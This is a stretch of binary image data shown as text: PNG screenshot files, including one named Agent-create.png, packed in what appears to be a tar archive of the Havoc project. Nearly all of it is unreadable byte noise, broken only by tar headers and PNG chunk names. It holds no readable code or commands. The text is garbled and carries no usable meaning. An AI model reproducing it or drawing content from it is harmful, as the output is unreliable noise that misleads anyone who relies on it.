q>LMj@FP#®i$ur_wLus`9c:ldE,v{p~8kWWWc:B8^YCB6~͎j Jlcƌ? ]|VcrSl eQGዏ8~Hs<]cAdl|RȚj#ƿc&F RW5Fٵ cHh`  *|cc{J6B2lC5RQȤy睓q>Joz+ A9U$d;;GC6#x=$6e]3$6~] L#و~lAL5@6$xHϲCbVaYO|Wt !> r%mfrMlK5b]gZqx{1e 0R6'X `YU1]8>v{,Ls(lĬR9dI \L LJө7|8d#3M3EjclcRcK:}_dSQT mƁ u&A @ḅ5Ԁ>Vم\pPd=X^ lKR0l| [n-,,LfmBgkct>ߍ " qEvQ \O=a:U }\b$t 1/..N$3& ٞ 94H A`XjȖvޭ>JVDP}mض] կN}%F{Y Uj/U=|}QhS VZuwd!n1\]7@ 2D,d, Bj>eO5@rc!pG5zD{B[ I   iv'5 F_ D@8 tR@j@D8Cc+u5@rTR!!XgRb&=*c BQ JJ?B% F2ۛ`CI}yIG1vwP4i<kt:Lۿl߾}M{m9؜㩯>ۿPa/p!qp& X_6k/נU0Q`a009?|=A@܀ (7`N$J HT ~q4.0ACRkZP,sEC-_Džm* aH1;~tݿ m@*aHj=#5"IAJH9AX%'T0U 0AՀ L^[[3^7& K'B9̗ |ҊP:@!knmm $ur:n\ xh߮Y?oMha7Ω[q ǝ* : 5 XFi|R GWWW&  A@ F[]]ctHIDAT"Sރj[]] D<{t~$-ws 1;?`ʅ 68<$ڃ@J❛; vq $Jxr߳~I@ Z.$@B$V9~=]$I v/wEPc~~~Gs*%&Xx ~>< " @"kdC5*"X&rq@*GpiETC@0"8\%-4Q-.U@aA+ճ,>dlQ4Ad@0;읾 3 HҜ !,T; *6v6E"T0W\E  !$|sVjx0?ȯsIENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/000077500000000000000000000000001467014221700210715ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/assets/Screenshots/Agent-create.png000066400000000000000000001433431467014221700241060ustar00rootroot00000000000000PNG  IHDR0jsBIT|d IDATxw\uOqErmVnL3uu4өvy]iJ APPP,~<}^|ץP765B!h0T^6^NT;V!Alɥ/w7NB! Z^$!)dz hc׸5B!̢qsotFB!ĵtzۨUUeB!EQPU]cWD!}CP:z&CF0֋[PS]WyYV YcQU5cFޑVhU1!B4C'}_Cu퍵4T):-djkR6TJzE PU+{PB~^6 cZ- !yj͘wƜ4RxPU3Ҽ}]ЎŽolVn4ͥKߛJKHOK !S:b|P4W}YMKK_W)-)BTy͟?Z Pm[A~ a_q&:S?3@z#[k~ǜ:]„ H,+XJQ酥EEk=Ql.moU^ϥJRggg,X͛)**b5B4S,%Xg0G6ˏqzShlNm}Ъ|>X#! ώmT=M; O5 ho@qi7e)z.fDv^^:n*ǪVJ~W0-/:uF``РAU#Dsmo۟xG8q 9kȋxqͿaˆ0ap'mH5NE}Ɩ@xu`ɪ;qp'/׾p?M5(K/c{7QfDw@;ur,`s%^뗘GP-4bh߾=_殻M6m ! m'O~!>Shq%*osfL{;OZitX;!?9 (8V?U9~Ɠ|/5ފ6C~J@?{{Z=&SIcWE!hzDAA.KLͽ51QƮBѰTJK8yPPBF!33#B4 G{zs?]`2`c4UB!M^^>n2BLQUUB!D;B!ZJi(ZB!ZzJi JB`\fpbCa}^Nђq6tS_ZlQ\Gҩb-A+"R8y%'yG!_M=1pӸ52v 6_uz 3zwB, zkSV54v%_bBG>^=w[B!f,r~}c&w06lϯP lGI*.|g㑱}_!M Ikz$+Imw#7 gvV}a( 3@]!0LgneXv83ٿ_Kh.>#a{"n7#Bk{2>@nf[ ^ ֤X 5*)"*h;e޴ڻTU'G[GM䮭ؕ@zݼ9 tߖLQ 쁓=,]y5Ź qs( ߙiE-ݰp.~YIJSkBѠͫ˯>iM&m!ɤ>k5^ᝇ:erp=)CDj ie[si}sB6=}kZvoDf}ۅnfwJ6Ϋw'{:LӨkc:OCySGsaϘs߲O.DphG$]1rmX[1z,I_;0ٌO=o?fCµWǮ>t<ʞ!hfi\${pFc'?4k{3~N7Y3ND[9^1ާ;$.}[BѢF*}.аSv=-&Hņp3 Xeߓ8 M ˥_ uk^}+r_US66ښ\Mjhs#rlCO10VB@d{ѶKU)rN^U1UtfJ@GOyٖ\r T4tcybΚ/](2E}zr'W12a: !hCPU!ЗS塦vM Ij|TFOpf v9RKؙ[i%/\W]}訧8gL&z?VL- Nj T|qizLUAU@ASKTͲ.Br!Q$%~cqxrǙQ̥nMyX34fRB#)ؓN[XCRhh*о-) iտ6=y,3ؿ="+9=hUpd+ʩ:Y819V Ϋ^&.M\弚ʐ"Ⲥ:DZ`F Vn)&fw-ag"<K5Zmb߆# ^= #.'V.[x͎ptCx5\SV29  | G=(êꫴT\j\!ZLM)ZKP^d1Fg~^q# r.be0OE?2n<ݪP~MZlb)-yf`*{<- )配6 j~ݏsPU lˏOWQ<{}FS.g,TZ9\J/`B!`W7OݳFަ^ *|?}Lyq/EWl4v >ƮBѨZo>dfFJ=Qy EJl<&˲rٕcSBt!ՕVڋs'Ib mYd⓻Jq'>K}g?0syU!iv9ﯻN.f"vDb"dl8gtL}'AتW}?BQoL*gf_ m_ٚ ;^-T~ɘ[ӥm^B;J)3|)|=#o)X{,} 0m?8ACЪM 㵫R{sGrvր wogWß}W6&L)B!hPxbOsk}ԁ>cu3!bV=84m/;5'.d'')&Ggln}r. KL4{Gzs1_˲w餩}6?9"]_\*!B4u+sB!AMBHB!DH]HB!u#]HB!K#BfQ٢jQ4 B!S***(ʟkChOII)y( e!B$* 66F((,)WQ/FA!F %%%ti2FBQWq!B\K$BfGB! 0B!hv$!ّ#BfGB!zzUwDc24`}BX,& ڍ`D];mhB!UN<*6lDizhn!8:כ6%4Q&S 6FY9]!Fyy:7P 0M jcdBXw) 0MZG!h>%)SղBT5}JLt! !h>Fәg~yU=w {,a7ݽW-ʡm9IkIC;}m[I^^h< 8VqaJB\`?9/C <[BKMFQܝ ^{ᥩ/֛ʥ vI( glsRvlA|?d3p*fE߰)o<ͦgɯ˚KLPcPkZ!RZ`LaMC.$K'dz crfQ\zXq:4 R8(IM1J-]!hZNU)tzt1ձt|e{l:}b4Ə_HG4cq,L?/b{yrEɎo߰Re寜ZĎH#:aSLRv, Ѝ6v$G|R φpaM06гŏ9r'x ,XF}kseFFcDJW)q[ Q}ofL q4X(HdelE&2-Ilx&yy{:[}a ީ;x$ZAe,/==|ǖѻs+\5e&}RwR3Э'nf2cO~[2F $NJ>Ct L4Wޝ}iw3\mgK\g̞ԛm!7bWp-ݺyպ?6{w2gX2i iMzٳ(NgʮqNvDR؅#pO)QNt*ZOn`C;7G]3R+*ywGsaϘs߲OHG/T} =U:F]{wz(dn&=Dy鄭X>ƙ9s㕺Lf7%^qQtS׿ sGeRwm|\8'־=ٟ `̲3\y!f~gGtKjm[]WƏ4x)_SV5~=ش rcx:OB桐 uƽ'Sftr-"2<殉0-=VTQhX8,{Odd&3%_l hbt|FHrIDwm%,x~8#{sU68Y Daj4ْ`-HHhr ;EHƫT-t&e<9U~=Q5Bh;NS26b W;LJV>ր hl`F%?+CO 9zڟq.ǔ}8yI;Yxo3+T9Bk\R-)Ŭswhi$,j]^ČIU [+OV)Hl1ŜŠ͑˴ ǃ:TT>G|ȒʕJ= r,:Y()6aQAE<3ӝw<(t7w=; ÕK]uW;ǪbzeÕD!|S0i~^ ҭ2WI2DFRr5m_vSu /{7 u b)Yd3{TGfKؕ9מ]9@wtIb3mhі Y؅Tiu5/\J6n񇈮qvR))Edͥ9~iP|Q2%نۦ0%3OʍQ߱)QOώdg}P0f#& ޳JAߕVuCC1V@Ӫ#$͚Ιy߃VYMBWIiu<(Nݘv!2@޽0|Eܝ56wN xQIԵ+}Dx-ag"<KKZZoIlŠxImΑ]z:b3M~ hq>5C7T2S)UUH$Nݏ 1#<곐6ٟʻ&'ȹ,>؆ʤ;~3l3x0:H{+o+K1D=l0^y'fO&UCAa 8xҫow#1719'.OGn1:t[B2.$M~y_-b9αJH43v#m+>(%@6od݄G3/y 7JJaaG4uZ7 .a~ǚƹڀc%;- )2 6z&*W:y3~"F3p;fx-+VcRmɕ&2WǖEq"WSѸ1u_xVm),'3İpjVNe4r6)*cU-0pi|<fP~\9VJ=wySp39>5s4RrR.pRBBkhynU66^3ggPCC]qZmm>|$55vȿ^Fxo_rif!hrZojf}%UGrrjS/ә)a LKVqu !Dia]HirO|nBPZqmWF-3n66v5EiԢUB&NZ`DZ"ͭ@'!899PTTVqBLeKmB TUqqX n&TbC !Ba(*gE#QWEuS/B4k"BѴHB!D#F!͎!B4;`B4,$YϤge;1B!ވb -4Q߿7F#BDU'O  b$4QZ?^h423:B!D5 ~m 0MT@fVNcWE!Q^^>n΍2ALxOB!ꢱR`0BT5}JLSe/!j&LUUBBѤ5}Qˌ7X`N;yy[l3O{Ad-%`]qpF0'am)RUusO#7^& S\!DKHg7bqq8k@q dh6l(n4I*󓡸ާ'[Hу*Vmj$dCd뼎BqYKki3q}l9>1;vhjz Hi TO{w 6$y࢖_>*-Eia]H ^F&_Ij a8㜶6;\S{Xҙ};ᚱvLzQK'JqxG,\C[X}to8s$q)*FOpTg3'A$>HhaľF &f !hͫ˯>֣eM&m!ɤ>k5Wx;|P_W'8u?^,ű79Xѳ5lҭf 'YuOUFmIe=?;M4gNdc6ik(%53ؘա\(cOr|%KC2BTJ`o}WעQod 5ww/cFfӥ5ʾt=Yz/sBmT/ol0e< ð=҆|R&M޼0mÙຉYeG%y^>Ӷ]9^t"Z4g`Ww?{;mOìdƌx-|8qH?"n­%| ' UU|Z҅$LpH 7z<Ԯt!<#ZPy ά\Q^ֈ^Q{i޷ױ]sI1ֲcIdYAWTHZ͜Kª՟YS{W?]LK+Iۿ X !hCHJJ#)96V~ iȍ3磘K-)wӏ5V+x\jozasd.WNoVp4; O 7sx>?5=SɣЇA9cө+JE^PM4n >X;t>W!DKV#[H ̈˷T`_l=5C=zƕS_ΆC IяО\˒/̚1awz7dнy6;U#a~ 20Ψz]'28x0BBqZLM)ZKPoz{cǨ]]|"/ɸwDN98fi7οii0&-?ϋ71D~zÿ񱾈7f^e&g~YҚ~E!jynU66Uy3Zy*x[[{IzFVG!V۷=GUő/]k2U] %3#EشB!҅$NF-k1c`D8Z!hBZ4jQw$!M*ZEEE8:ٓ+B899PTTVqBLeKmB TUqqX &TbOB!DcjuX& ڍ`dLG]mNBB!_!B4;`BHB!D#F!N#BL}V#Z#Bԍ^ob1QPזu`({{[YN!DSPR\ɓ'@† 1`(ր_/4 ٍ]!G{zs&d*h 3+"B(//7WF  Si| !uXw) 0MZG!h>%)SղBT5}JLt! !h>Fәg~v%!|8൪ΙN]]s!*7h;pw1B76e8HK[AD%/oCN|{o%-R#h-0֔c:Jo\5'rsí|3y_6U.dX ?Ai Q˷k<{;nݺٶX(T.z5Eb*g5?tiBRZ`ʩyqlR"̍UjI7_ hxӪ pc8G4tSE"9_3/nFRQͮ!!h<- N(Ovsb돼C$Z0 ~lc= [0 _g"vW//~~6=ÿa7Y )\9$ qE-a*+q,۠28b3=b9pp7oMѲ{QDX ;KgUi[0}vmR@jba8fAg;)U2| īYk?P h;S3fFjS^;X=K{/rlabZ˄Yv5Cg "6qxG/f`pɼXK!L,:ϬB0w>#^bk8?"qF.ʋmKh>'njӨqDoЅjqO֘x~.$cW۪\CrEՇ'Bٳ1mތ5y;(69{'I;7苎\*&͹ Γsv-GKq!SMm"vJgm4-]a4⭋&ܬʿ3 lnml-}FjoΈ*Aȉ,;ҙeMaNHUt(mq<@4'`9-KtOL\BHJ`o}WQk<2񁕶Xؖƚ7/ưoy[NR{d’H`̲3i,`gݛoAXKz۟y//|"@wm0'p Nl7U:/^:ˮ <7{YpB£ݷ=^ aiwrvu4EBcKGMO:jUVDXQ5˾LОC}J2%2#Ҙ,צ|MƏpz#~s,v̿?̴%IL䅟'D'{Ǚs ;v&Svi5~a.mk~[p1*pB\P uz7c[G\IhyEP0y}qslI0B*$4 P s9Ą"$TU`,gVp%hçB$T4cgh"wO'myQJ-/)%=UoĦad2Tp7b83puS ZloĨsC}?4j$LM7_Wt@PX!r"Žҧo{%ZQURB(ST\r TaDggO E9kfKY:C!x,Ngjx-sD*YCoG81,SGcQF7NE!X(O`V|ǫ< C[FYSرx3a*hiDf/-V9zUw-ZpH 7z<Ԯu!ʠE hufԂZ7o->·,.31ɫԇֱTvf`QG]v;Mm>՞Κ+IPQh2+_r#VFehhh5ee2 HF1t̎eyt v KX'hSUU/>5;ge,ZK+KmdgVibKy1QjkjLZ'0tkίB 8$4ӯylcҧiΚK|B>C0 oG mQx5>AH\^:>,˚JL]pSdT",΄ lUęMyWp!!M{/W.&T췣gWwL & tLE׹SZ{*3R!7w˜CpV Ocm9K#,HO}mx3m:d׆ F]53ŃVIr2%/yɫӮZ`Jl] #?weӱ4l}G2+_RwlK…# h1y(N˯{iuj^B\9rFUM@HK|c[EDTid| IkRK 3Aw{9_pol(䥚bٶsFѦ‰ǢI8ޝIUI⣒9$81/9ǙY]ր9=D: (=5ڣ:0ǎa4ƷbW]ӣx· &&&>2hݭ3 VWBq҅tΫ<0asё>aeot?cãfn6= HfÂb ( #*kDQW.%@h %@H$;Hṹ ;gݙgOSewIٱ :[J<> #vcȓnNec7N5?1]ζ\ "w I>bsSH0s,zA4t;Ҽ{OZz2INH`Zћ>W7[䥥nʯL]yls0e+[w}/wf\_e#4 9NB[ƫ.R7Vp0xb a;Y%0}xv;6g|q{\A޷rGv$@o !*Q"a IDATjQU-4-gIx#E9E!p75Nqq9#BHVa'4%;oӟZk`qe׶(B4!lB!;#NR0j!<)0&BrNj`D1zMhX99$B\,aavn7z'$){^x"PJ7K!(4Mw/ACKr nB0Xl?B!D U?n QZnO !r7B!ęH#B G!BT8!‘F!0B!p$B!D#B!* `BQH#B O%vBj +[j]h&a +!Dsi.E*qeIM-݊KFZF:N "NEDxCGviijL\&B!*(b#=/jjFG: ! k^δb)lj%DM>kBq R-XF!NDЦ jEa7LcULgV QW婁ѦvC1u[b/1zA-.U3tsaCcSh[%o3+T(hȴA0~z->17_``; 6m`#V"1X +Ox7' GћItƠ7`IET tђnM l\$ .-KO!(o() JZ{Y4EF/NBuY0L,]?]2yXp#G{v56'R„t6.]Mn?} !(+eۉ7w^[>dtNW)ٶO>ԃ1X=g_~49=#@Gӡc' l 2|?GU1铉K_C"JZp(Fw2hgNbO2>D`%LvM`2~4tOt2Kgב33yS>e;/!:=ž/~KE(\v`Ւ Ы, hԭ`ϪEL+`^|.^ȣtl#CU{[z^B\ʦ g>2 Ó8xW3skx o-6Sxa2܀Ooe#MHZۡio4E;{a&)`ߎV[_7?[-7Ѯ[[wc|ip>My`47'TK.wσVdf7r{[{kR(SF^A+e +Nj/V"b(xKUY|>ϖUɸ+Y`ɛi,r|c6O(1_/đ‚hAs|q n_ɽN46^&/gº8*Wah_0+fat3]G5:ONdE̖VwS"ގ45'`IbDbU1!IR vx8IT@*{fZn U0"IZt~]ۏ<] LJ_e.9y.LԨ՛X]X Rè,;&qOqo0޼4Z432js=|< ')cVBE^:u2wﻍQD2QL;p}sB+:}X/3v:cpo%E\7%ˮJg,g#۳pztQ9o?.ΈxYx]Ze0I!8ge^O@ws[f{ G!7na/yOkO~-9o}r^TznBΡ2s4lJ@Ke]פ!Z"A{7|(7^Kf^2$nk j~nG we|0* /..zE&hx~9w*|HձۏS9ńB,k=FlaCH:ʠkyp+s&|؅On?2м˸aUB|l_=Yn|v9p}5ա˪PB!U%īO+YCf8' #lU@TLeA^;Ȫ?ٗ+I:Fځnmwh',x7b\bI@M]ʻCc`I|s-1+>bQ{Q/H)xeq!p*]s c^c mn;M/Ӭ(}q]uu'VlQ$%Hrc4HGLm:S Y(Rcp ʦDR'{ʺ8B!A `aD6YsS>+Z.BsU=?6/n2k.e ftw,VD:(aqt +a:˟h:w ry(i!=J?-h !DEZYm gX,&<ru~?F?êRIZmC cٷ7neNtLy)riؼ5{vK8B]GHX ֿNnMw!:jz#l/]C`/U&T`AQ `*y_2]!NJlT2 }gumXxRdy(QUF g#<܎Ñ[ĀbqLM kڤArb*MPKQ̌v!B\ $B!DS:frYC!H B!* `BQH#B GJuFc6[/PBJMUgx T!KkBS~@sxf[SX|wـ؞g|t+. J51j]}ųXz}1ҧ ]youCMǞ !(TB)n5|">™>p 7a:qo$jt*h [zU):|.z#OnC˱B@H[,(XowWUEd,#1ְ/BQTڕfzxNYWIpWW &eR=*, PPtEWCZBqv*_(f\ /fwYVC_VZ?̇EKe7s&Of,і6)a-o\9XZ pW2;~#_V@f\&3mnr}^RWȘ9գr o96#x:2,-8Cz:+:ᦋEpxYګ ]r9ύuW|2a: $s Ԫsr~<&alٗ/N\ D޻ʱe/y QZ!DySk`];a/'SoӢm\ 4p![&tvZ'2i W2Wskg޹R3:q^߈q[5{$='Vӏ4I}`4R~~3{ᡤZY{{.N݉0ݖjAڪ,^FX̹r<3'b2kA;tWJͣbl`ԎLTg@j_DԌ,ciJp6Vdq{왮z}"D #$l4#8pN]-_=/,CTz;WP/qNr۽dnؕYzG0wM<~mY2lwBLӖ߅LfqT j6yUr&rp%:}!x*u<)1@P]^JƔ$j8$m/z 5MdƤm=i37 ICǵХ-Wv{n^=ͳ,.~׸V2OؔE_+K(د+zHBT`'Obw}q׋r#3xH#v ԍksyc=GpĩPQKjp5 @NWuOD#1kqG3p,cǢ_ŎX:]ߑӔԴ ͫ@ܰTϙj/MpL:x}B)*Y?-v7`˹K :-ôutދ?tRQ$1/ӡ]Aڐf6f9GȠWٗyp;O?硪ز}),4#-dM_Ac}Fy3;`5'm _YE!* ɄNg`0uQJ$~/flVp%@Crw>TE:0RS5:IMM+!DNzؑ@ R-s҉WTj~͊Ñ]EB fwN $KV8ٔBR~ϝ҄$B Gj`Di!Y+Jueо\ӤU#-IƲ_\ᵗ0Y潈Ɨ  9s}έ˔B>eC@ fe'xgyuΌ6BiU '݀*r~_=d{#摗R;'%ƈbQQ`oc"z0ߘ3*q¨bnlEËK^]Ro<1qM\o4bSr^`6/=Ǖu9.\na{A S <= @&I3JUHs>jA zbyy7οK:騥/Xl佲 ׺i'ŝWkS ˠ&1 ; ?n>ll[7|*r][L4@1;)x( *MXݵհ)ΌD=w[^3RP^lFx'KX8z ~k1mHu,MmƧݥa lXZgB(i%[EwFg Xq4?i]-M[9x (LLmqe\_+`*($yNu,nך|5a:+75le(E:iM">y_D9CMN&L *m¨Fw17 1X*Ά!ro!Р aoa*_AiT[|_i:b05)Em$! >JP CZ&o; n^/7`L?:UC_gj&^VPE߯h,͐IwF5gǫbH=J081w8Q4"t50ĩ ѳ׃?箹[bV}ټpn'qG2wi4u35;B5^ЉȉچS];a/'SoӢJchx wu ca<:f'@G_8S۸ 3Ǿ+LƌQWq}'3K_F q~Z160L4_gx4`E*/j"9>jx9xjܔ?S*^| [rXZ(հp aXDk L/641c Tg{_t?iL z|ۜPz M (N]k{?\P@^:{-Mù =\=aTG{i$ۀ`얁g¬:`>Eʣ!z -* a1 &LE˫zUq_2+CIʚdFǡj`N*4A;TŒT>HJ ˝1'Ƈlε aNm^#DV~#Jd*]вڇa :I?~G?"Wz7ۆ&*gpmCooÝw IM/ص(ifyZ6Oy&u[xv`/:? ^Rvdu(:\g} ۆtEqe} 1G=/><9#IYdiE:-˟Zy_qp'XUٯ=:]Ϡ.!47b-TS ›-7CdK=i$!oL2ja;K,xJ>%S'~0g9Ysvè3~iXo#=OsZ ySqFciJ#J0@py ]8^cC j>@vO~"o*441B&rwJX'87/"m!WV!\^RuOj$ 2ry<NI8Ʀ ?@wn#VQ*%2]BzVq8rj;X}e55AYҏø̦MI=C֏Zu} Ct,롟@2.OUذa=!p6iP: vv9BJADD(٥_+3#q2_0X=]}F, ]hTǨ!B{2 k>~_7/=]BKO `ڴnFxDxiَl6lzZތGV4Hf51 u1>&Ty8m|3vL`gAa@ԉMOfOXv/w EG]ՃSL=u ؐڑ ,~@Ay~mfKᭋN#,BT*IJ>u"""r#*f\ٌu3uAn/OK#yC̝97s1W3`./uӾ`zPɔ~A$7/uU8w:h޽'wcԝ_f\U} \wj6;LazB! UL b FI {y>ynze&m,myc_sLƌQWq}'3vBkr6Ŷml1^:E5{$i0e?O~^ӥ3WTo`foDFumC)7B!UŃ</'S3BrRZS:TۨTэ1Yڶ lVnsBR: kbc۫n@݀&fwVRhzBQ8;G@8y4_MHpCPlr !!e*p93Ɲ$fm;#tsaҵ\ֲ>y𝔃}qXmIӫb^/@x;Zѓ~<ϯI!lmSV=3#{ wk|K绑ٍ wM!8`,ALDD8uųcG.L .>0|lVSQ|>~]v1x >@pdcYmKvB*<A~?~;w2|pr<.P.kb+ `%@;> @!."ZGBB#F`qcS~ϝ҄$B\$KaM?oS'bkr 504MNB2s0x) d6lGaڏz}b]ϝRs"nu 0%nMq?Xt5(yl~SǾۗ8ńu|+b^NHǓ[sX2CiB[$ň&D}S c(nX>iI*@P6 bJs$&D|PKMvKbI-#N|.(T4x)zjƍ?U3R-ׁՊX=sD;Fo6X R 70 LJy篫;":;E ;Kf7^5"(Y:uݻ7?&Lu붼8b$F EQ):Lf |OGRQݙfC̚Gk\K֝g1dL~<7`g>{gg`Aa@ԉMOf1u]4_$]Cu.K$oz|}k4 հu XՈ؞#m|[5#fQ=U{x)ӻ- F#7;D#%jLT ۅax-mC0XU;2w_2[mPB4M=0hJDGv>T}m߈?f+9 v-ǃoF29߻PE2 tJ4#SQ;VvS$83:C@/^X_;y|Ch|?>aa̘1)S0tP"#0_(D 7`jn?eo-+MyJ⦮0ld#,Xx w)uҼSۆg2lJ> j\"STo٤\baotU&b{Ut;0ŇmZ"_ch&+?ɳd!U Ԟٸ_N蓺Xy.!Hs u~Eag[er+3c86zrٕABjQLo:픊ZE=XÁmO:,^#:?I}q)_N,` O1) [OF jtZ҆^)^LZ"_HF̷ vK$~) 5w}ɄilrO%w+Gj/ȃX4H<76y^5 0Zt@i@a:),3IJ (}_n[ncB\.7o5\ /~KA~$gB-/ QnE^佥̡{qƨ|#}Ͻ {q7LM< Ɍبkdb$˒`PITDWP6ΑBcŪ d颮D~˾Vi IDAT jIƃCV kJDV6XNP75:1&#DV?ξD]Ah^-+p bI|YMmn ץ7֓=Xe:!njm"Y.I&uK&^1M2zﶤ~r8Td'"1|Çӭ[wv(H>fE~]Q]Ir_uxil{f.~zC+x;D2~}D;Rا?ۼ;uH]J:F]OC~|I?ț:5^r_.) nY| = 54H}[S|yfAAZ4!x1ITĩˆwԧke4 ]*n?mq.5ZҠjO$9HL*x<'c~RC ݌|JyPa{ςk%Iv Ȟ;U9^aձI51 -AY}rFM;,rɩcHx"E H:~M |<.[n|@Ӈ~ۑOz0Y[r4;d]"L󉎼?ɁjOS;MXk}Ci5*aXFN1 zdŧ!uNq&ljό7H>bkTgCy9[tWo_ˉǁ%?A*T sZ3I?HbC,1JAEo%IE95hf`Y?[2cXĎ8fֈ^CI&fqݛA#f,6̝TbOԠkrdv; vRЗ\;[VZo\]Pݱ,$Lf+JJގ-)jhIyih;#8D6x`k`ʌ3+/xnB;/>ˇw0ƎAf K*RܻG WyoC(TeJpu72W3}`P2!K8i0ՈJ /P1.G%3`}[%!1W#~5JR%#q@ a sF~\S?tZCmOt~]DhQb:Ԑtٱ H>.kg / +3$?,&>I e#֮6 r۩}//<+0qM OLzbvT|z7j}G9lǃ ݬHQE5'0b5߈6gA_KG0>&wjm-D(NJ$I F Cxu\N'eeeX,62ӚʏLֵf"okдƽCc7-[OKn|v 5+E#0 %2p +*uV᪞d]d 1oH:"?, prXrN^=;79 ۈE{ǓB0G& I8ޗ9"apFz1-[%;E#-FT(J]Ñ eArг 6"~ZHt r^^!A~uZS0qOoCA8"Z >yF8f(^@/}Ax(&3"kR摕լr vh<"kf%!Ss'rW> {Lf F#fXgIC"TKA$$0A5%)ch߱#I-Stt;H$0'F8iF0TTT v:izZb/[7$GA2SSQX2`ym}\Y1Ȓ 54V}چVŲcژp{#̒aVZԿdv}.FY]gu^THK K9Njj*vf_TAFGX1va0i:/o]LSZ-QsC;[ዣef.@SUMO"e=G5dSHa[frO. ?'DnqZOM>1gnrןcd6*l]O?1M AqMaPRҍ_]o 9'O2ͷW\&{OLsvEsh5TT(#1u$(;W`8Iz \t/O֢2I]#<4e-p!"T/, sXglj Y`+A4߿2ZR`!vե$B:x+ 5u[}"+g_I̮ 4^{1[$&q~67 S܌o2Ic6R,P$%}&w[~o?@9*XQwEQv5f#-QoX.Annu V+"zjehF~h(Lbԍk%G$RHϔ | $ajQͻuzA[5oB}'ރ|PSK*,ѐPƜɗP S ]C7}Ϻ9ȗwzn$߬EӁ(SK5M*{ڡx7@}F`XF5 )[^( jAbĤRlsb:Q*5. o,N,kO˧ U,Bˑ,jNҲ]4ӏ;ͣr-io=]x\z$ VO=W=ij_p{W^W\Qd\ϒK1>;\NneԮF(ޓR?ڈ^3<7u9n/5*ȤǠ46?/gsyԎv6Z PEJX'4ѳSq>GiHqq3 ҮOP^Nhi}(7YxOnDW xɅua-jn$!R@Sza" {3kά-? k,DbGMbkkD$h3  BhN*'jP5 sILRa;ŃAJZTT; )KC}E-+ϭ^3v*B<@jFsLb6[+cJ0 hO6^f{ϧs( le܍ge}--\˂EXwc 9e`zdKe,g],2z(*bl߼M6?acv)1} *5%Xz bcN̛5tc9q@)r/_ꖻ3 \HFg`UjpԐ.tv>( t#ܘ* Q* 2pM c=5Jn~"Bֹˎe@qX;[}a^a'a19Mj. XxvaN{}Y4kJ~Z?`˅utl}ӻIV;a>'e`fE"/!>4F!< r]:jyX1HDS}ou{pA8Fh"+#yy*vAiN=M Yh Nb25~j4|_`l& j !b2 ֒m4OME"kR摕լr vh Zw*Pv,F8VLΝ(JXgG0Ff+SQQMEQzyO$gX1cA1zAAE0  :"A   c8g[6H ;70W Zk$rF?^u Cdj/βwq]u==gg0cgb/a4 *$ZoVntx RnݛPW dSo漶K;Iz0ڟRuLfj>4Șz-l|ܖ2y}4Ci'QĎS-8C10u4CE %m8&{b<;F+@ͭ{|2.щ٥yu &*C.`FW ~G Dsc3]adѡ{[Md~?W2L__uөxiT=t 1;<;FNj&LNly6 Ƴ+yj7c럆8.nj!5~ۉ/zvV0\Yd1Hp.׎'^̻vWOJ{a>jWb6*`Gr+2y(#U/@Z!DrbV9wɟ_}o>Եrv눩wmoj Ime'a7YTjؖ)]=X>$P\E3^2"1#H4qNߥ(d"NE#\$yiMPX_#51,;WRu SwCm?IxUs+"0VKT:<ՖSTnb?g'C;1HM]\\g]b CfL;<%;,nTNֆ#ʝ,%zkKzI\v0y,< 7$:o\\v'շu|vd@lJ5OGd UwOvsW%(f?KY&uHXoO lD[AɺZyp\ (1«dW"TW:^FCL,0 i,qB߆1rwMus$b&Wxn{&lv#kb:l#Ze ۦ~g'R0$6Wf+(Ʃ{+׆-7选ԗGۦsYȷb;˩m3b|HSӈC4^ڟ{<|xJ}{gRHh(׳ 07hD_@IHM}O҆bv$חS6[t]h\&QLXӌh(FϠT, eT=} H~y~I}SE͈v~nB3`$(D iv\wv%}jތ8t@#. /ØxP }D;ۉs2qc2$H`a}A8]ӕaXRtÏ!өɺ2G;+Ԅ|y( m)'`%l/Ct=(¯6۟/f&f hO&z믣Hho3;3Xep( s!f!L7=6k G&t lpsv֯`:w0my'-`Kz%+Xd xD-naͷri{俬=HCӰ4U680ylXMu0p 3"?I8%2Gh}cm а`rlBWDۻ]Yd>؃̺W!,𽱃.PNOF/;}Q}'l7(і3q0cpqߓ]iID݁6n_MT]Bd{0ubI~UF4d}kd绉M8e=N4~d2d+ފZ8zYU/Pu6P:|(`rJD?F[eȹm{+2uhD[HջȮt2@fO;؏ޭmnk'} R|4-aA!>~R/3 WN۩t |3w u.+Cq'rl苷{1sb NNՇ$J IDAT=Yd=0Iyx(KzdtOid>ke/o!Byr0{z#]3MtQ7ID^_ BA@=&_Wuם WeYbv(k?<<3v>w433q}ii?wiBm3:yy#\afN0=ĮEVgx2`^eꓜ;p(:m9.727dN~5b~  ޺*͓n(hPЉ_7oX}OC7T?:#'_:FJJTQExFB!_Tk gO+ѦF5^wovN f=/Vo 0a/m<=v2?rA]hVVC9]+sq Lz9+vaɰ uxvW to՜$j2:WfUf\c wQƆ D$o#7;}XCܖ!F"Ϭ2aH#/iHNӵrHS#DE!1 d\/XZB`zn }=tw$mǤHE0;6GSu;H`ZSz]6yRDZ}_PBõğ^CITSe8K+ے6R'ww9VPt{}vCZQd"|O|쿪$fw(oY*F84CdfНa-l0ѵnvgoݗ@ӍH6 ۍ-N⺎71 k b+AG,K R$}Ұ۫0 w#mNź6(Wv1L5‹utOg3 _I퇕UF\' Lxo*fi$qJEjoũ}eGNdE5ٻ?pG)&w k $; $6 I f˻R|D4 _T V\"-/N};7x`4`4Ѝ'A*u)Xk*ABU>Zt;95ۊn@Hb5 .oA[[R~{/ko6 NpY}@~e@Ds8>V~+\Sᢡ'2¾YMn>SyTm$s3m*=#3OGgJʘNjrY@S U ;J|(X6d8R'/3 ,]{_(KU<5N>FK+\ó1V|wu{7qdB @%] ډngeaIyn$CGIM&UQ5pzu6PN@-IʠMCWAW.]Cd]We 5ut9D^%*ڥlR:Q~g& *g7RO($y+: i耢̤<26}Jjδ8_ͽ:*Zݻ)g)ɆF5 \FS jpPLFLڸBOjǢ*$ ~.Flv6rmWs3Prz`|eW k rYW0qD.[eͼb}4aR `@6VEfOXOSXTQo,ls|r.kF=! j>;jݚIe#| V <;tDJ\Q3B@jm8 y[}IFBR/ yCm]וD_?*lj%M1N5AjW7qd* 4>yZsAqӳ|R$ ck$ _3D+ml!3 Dts9t=F(޳YKsέ`암5jz~Uc7gM+b(i}OԶU}K.exeN/x|JT#!t]EhUd܀)ۉƭw@D 